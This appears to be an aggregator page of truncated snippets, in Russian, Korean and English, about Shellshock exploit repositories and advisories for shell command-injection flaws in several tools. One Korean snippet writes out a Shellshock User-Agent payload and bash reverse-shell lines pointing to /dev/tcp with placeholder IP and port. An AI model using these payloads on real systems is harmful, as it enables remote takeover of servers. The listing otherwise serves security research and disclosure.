CVE-2022-42889

CVE-2022-42889 Python-скрипт для CVE-2022-42889 Чтобы протестировать это локально, следуйте Docker POC: https://github.com/karthikuj/cve-2022-42889-text4shell-docker Для PHP-версии: https://github.com/ClickCyber/cve-2022-42889 Если вы запускаете это и эксплуатируете локально, IP-адрес, который...

ShellShockHunter

ShellShockHunter v1.0 Это простой инструмент для проверки уязвимости ShellShock Autor: MrCl0wn Blog: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab Email: mrcl0wnlab@\gmail.com Shellshock программная ошибка Shellshock, также известный как...

CVE-2019-10149-quick

CVE-2019-10149-quick Простое быстрое исправление CVE-2019-10149 для Bash shell...

CVE-2014-6271

CVE-2014-6271 Shellshock Python-эксплойт Чистая, эффективная и интерактивная реализация на Python, предназначенная для проверки уязвимости Shellshock CVE-2014-6271 через внедрение переменных окружения HTTP. 📝 Описание Shellshock CVE-2014-6271 — это критическая уязвимость безопасности в оболочке...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Удалённая оболочка Эксплойт на Go для CVE-2025-32433, который возвращает удалённую bash-оболочку. Во многом основано на понимании эксплойта, полученном из PoC от ProDefense для CVE-2025-32433. Запуск эксплойта make exploit.exe также доступен для Windows-машин благодаря Makefile с...

Shell-Shock

Shell Shock 작성자 : [email protected] 유지관리자 : 부서 : DevOps 라이선스 : 개요 Shell Shock : 권한 상승, 원격 코드 실행 Unix Bash 셸의 버그 계열입니다. 임의의 명령 실행을 허용합니다. 공격 벡터 페이로드 shellshock 사용자 에이전트 = User-Agent: :; ; rshell 페이로드 = bash -i & /dev/tcp/127.0.0.1 rshell 리스너로의 리다이렉트 = bash -i & /dev/tcp/$YOURIP:$PORT 트릭 설계 : ...

CVE-2014-6271

Проверка на уязвимость Shellshock Этот скрипт проверяет, уязвим ли веб-сайт к уязвимости Shellshock CVE-2014-6271. Краткое описание: Уязвимость Shellshock, также известная как Bashdoor, — это брешь в безопасности, обнаруженная в сентябре 2014 года в оболочке Unix Bash. Уязвимость позволяет...

CVE-2014-6271_pwnable

CVE-2014-6271 CVE-2014-6271 — это серьёзная уязвимость, известная как "Shellshock", обнаруженная и опубликованная в 2014 году. Эта уязвимость была найдена в оболочке Bash и затрагивает практически все системы Unix и Linux, являясь одной из самых широко известных уязвимостей в интернете. Угроза...

Chinese-Made Zbtlink Routers Ship With Backdoor That Opens Unauthenticated Root Shells

Cybersecurity researchers have disclosed details of a "factory-shipped backdoor" implanted in at least 20 Chinese router models from Zbtlink. According to a new report from VulnCheck, the implant appears in all 21 firmware images currently available from Zbtlink that span more than 2 years. The...

Malicious code in log-taker (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30b4bde2f8e6fa87d896e86967b814a70ae3e46f1b1d58ed4552d1d909fbfcfe index.js imports childprocess and invokes execSync with bash and zsh shell strings around lines 315 and 331. The pattern of spawning interactive shel...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

Command Injection

Overview Affected versions of this package are vulnerable to Command Injection via the check field in metadata files due to unsafe execution using /bin/bash -c. An attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations suc...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

CVE-2026-45036 Tabby auto-confirms ZMODEM detection on terminal output, leading to shell command execution from displayed file content under fish, bash, and zsh

Tabby formerly Terminus is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. T...

uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism. Summary A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c...

CVE-2026-0596 Command Injection in mlflow/mlflow

A command injection vulnerability exists in mlflow/mlflow when serving a model with enablemlserver=True. The modeluri is embedded directly into a shell command executed via bash -c without proper sanitization. If the modeluri contains shell metacharacters, such as $ or backticks, it allows for...

CVE-2026-32094 Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash

Shescape is a simple shell escape library for JavaScript. Prior to 2.1.10, Shescapeescape does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like...

interpreter.htb-SSTI-exploit

Exploitation py...

Brocade Fabric OS < 9.2.1c2 / 9.2.2 < 9.2.2b / 10.0.0 Information Disclosure (CVE-2026-0383)

The version of Brocade FabricOS installed on the remote host is prior to 9.2.1c2, or 9.2.2 prior to 9.2.2b, or 10.0.0 prior to 10.0.0a. It is, therefore, affected by an information disclosure vulnerability: - A vulnerability in Brocade Fabric OS could allow an authenticated, local attacker with...